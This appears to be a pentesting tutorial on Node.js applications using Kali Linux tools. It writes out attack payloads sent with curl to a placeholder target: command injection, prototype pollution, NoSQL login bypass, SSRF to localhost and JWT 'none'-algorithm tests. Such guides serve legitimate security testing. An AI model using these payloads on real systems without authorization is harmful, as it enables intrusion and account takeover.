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Pentesting Node.js Applications with Kali Linux in 2025

Node.js applications continue to dominate the web development landscape, making them prime targets for security assessments. This guide explores modern pentesting techniques specifically for Node.js applications using the latest Kali Linux tools.

Setting Up Your Pentesting Environment

Start with a properly configured Kali Linux environment optimized for Node.js application assessment.

Essential Kali Tools for Node.js Applications

Terminal window
sudo apt update
sudo apt install -y nodejs npm nmap dirb nikto sqlmap burpsuite zaproxy

Install specialized Node.js security tools:

Terminal window
sudo npm install -g retire snyk-cli nodejsscan eslint-plugin-security

Reconnaissance Phase

Begin with thorough reconnaissance to understand the application architecture.

Fingerprinting Node.js Applications

Detect Node.js and identify its version:

Terminal window
nmap -sV --script=http-nodejs-detect <target>

For more detailed analysis:

Terminal window
wappalyzer-cli https://target.com

Directory and API Endpoint Discovery

Use updated tools to discover endpoints and API routes:

Terminal window
dirb https://target.com /usr/share/wordlists/dirb/api_endpoints.txt

The new 2025 Kali includes specialized Node.js API wordlists:

Terminal window
ffuf -w /usr/share/wordlists/kali2025/nodejs-routes.txt -u https://target.com/FUZZ

Vulnerability Assessment

Dependency Analysis

Identify outdated or vulnerable dependencies using retire.js:

Terminal window
retire --path /path/to/application --outputformat json --outputpath results.json

Alternatively, if you can access package.json:

Terminal window
snyk test --file=package.json

Static Code Analysis

Kali 2025 includes NodeJsScan for identifying security issues in source code:

Terminal window
nodejsscan --directory /path/to/source --output report.json

Exploiting Common Vulnerabilities

Command Injection

Node.js applications often use child_process module which can be vulnerable to command injection:

Terminal window
# Testing a vulnerable endpoint
curl -X POST https://target.com/api/execute \
  -H "Content-Type: application/json" \
  -d '{"command":"ls; id"}'

Prototype Pollution

Identify and exploit prototype pollution vulnerabilities with the new ppmap tool in Kali 2025:

Terminal window
ppmap scan https://target.com

Exploit potential vulnerabilities:

Terminal window
curl -X POST https://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"admin":true}}'

NoSQL Injection Attacks

Node.js applications often use MongoDB, making them susceptible to NoSQL injection.

Testing for NoSQL Injection

Use the nosqli tool in Kali 2025:

Terminal window
nosqli scan -u "https://target.com/api/user?id=value"

Manual testing example:

Terminal window
curl -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'

Server-Side Request Forgery (SSRF)

Node.js applications often make HTTP requests that can be manipulated.

Identifying SSRF Vulnerabilities

Terminal window
curl -X POST https://target.com/api/fetch \
  -H "Content-Type: application/json" \
  -d '{"url":"http://localhost:3000/admin"}'

Use Burp Suite’s Collaborator to detect blind SSRF:

Terminal window
curl -X POST https://target.com/api/fetch \
  -H "Content-Type: application/json" \
  -d '{"url":"http://your-burp-collaborator-url"}'

Securing JWT Implementations

Assess and exploit JSON Web Token vulnerabilities common in Node.js applications.

JWT Token Analysis

Use jwt_tool from Kali 2025:

Terminal window
jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Test for “none” algorithm vulnerability:

Terminal window
jwt_tool -M at -t "https://target.com/api/data" -rh "Authorization: Bearer" -cv "Welcome admin" eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Automated Assessment with NodeShield

Kali 2025 introduces NodeShield, a comprehensive Node.js application security scanner:

Terminal window
nodeshield --target https://target.com --auth "Bearer token" --output report

NodeShield automatically identifies:

  • Vulnerable dependencies
  • Insecure configurations
  • Common Node.js framework vulnerabilities
  • Authentication weaknesses
  • OWASP Top 10 issues specific to Node.js

Conclusion

Effective pentesting of Node.js applications requires a combination of specialized tools and methodology. The interconnected nature of modern JavaScript applications demands a thorough approach that addresses both application-level vulnerabilities and ecosystem-specific issues.

Always ensure you have proper authorization before conducting security tests, and follow responsible disclosure practices when vulnerabilities are identified.

These techniques and tools will help security professionals conduct comprehensive security assessments of Node.js applications in 2025 and beyond.